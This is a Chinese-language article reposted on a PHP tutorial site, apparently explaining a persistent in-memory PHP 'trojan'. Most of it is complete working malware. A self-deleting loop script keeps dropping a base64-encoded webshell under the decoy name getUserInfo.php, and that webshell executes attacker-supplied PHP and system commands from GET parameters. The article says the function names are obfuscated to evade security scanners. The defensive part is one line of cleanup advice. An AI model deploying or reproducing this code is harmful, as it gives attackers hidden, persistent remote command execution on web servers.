帶你分析PHP記憶體木馬病毒實現原理

藏色散人
發布: 2023-04-11 08:14:01
轉載
3594 人瀏覽過

前言

記憶體木馬,就是記憶體中運行的木馬病毒,沒有程式碼實體。內存木馬有著強烈隱蔽性,排除困難,殺不死(俗稱不死馬)的特徵。

網路安全產業,有著很強的木桶效應。系統對抗黑帽,勝負取決於安全最弱的環節。黑帽對抗白帽,勝負取決於攻擊等級和和毀屍滅跡隱蔽的程度。

正文本文不討論是由於任意檔案上傳還是近來源攻擊讓生產伺服器有了一段可存取的惡意程式碼。

病毒原始碼(很簡單)

<?php
//设置脚本不超时
set_time_limit(0);ignore_user_abort(true);
//删除文件本体
@unlink(__FILE__);
//给木马病毒起一个迷惑性的名字
$file = &#39;./getUserInfo.php&#39;;
//死循环常驻内存。释放木马文件
while(true) {
 if(! file_exists($file)) @file_put_contents($file, base64_decode(&#39;PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0=&#39;));
 sleep(60);
}
登入後複製

釋放病毒本體

<?php
//以下代码实现了eval关键字和system函数的伪装
//eval($_GET[&#39;e&#39;]);
if($e = @$_GET[&#39;e&#39;]) {
    $func = @create_function(null, base64_decode(&#39;ZXZhbCgi&#39;) . $e . base64_decode(&#39;Iik7&#39;));
    $func();
}
//system($_GET[&#39;s&#39;]);
if($s = @$_GET[&#39;s&#39;]) {
    $f = str_replace(&#39;x&#39;, &#39;&#39;, &#39;xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx&#39;);
    $f($s);
}
登入後複製

說明

  • 以上關鍵敏感程式碼都做了編碼,用來避開各種安全掃描的免殺。

  • 一旦病毒樣本運行起來,就會刪除掉自身,並長期運行在記憶體當中。

  • 就算被釋放的木馬被識破後刪除,還會產生同樣的檔案。

解決方案

幹掉進程後,刪除釋放的木馬檔案。

推薦:《PHP影片教學

以上是帶你分析PHP記憶體木馬病毒實現原理的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
php
來源:learnku.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!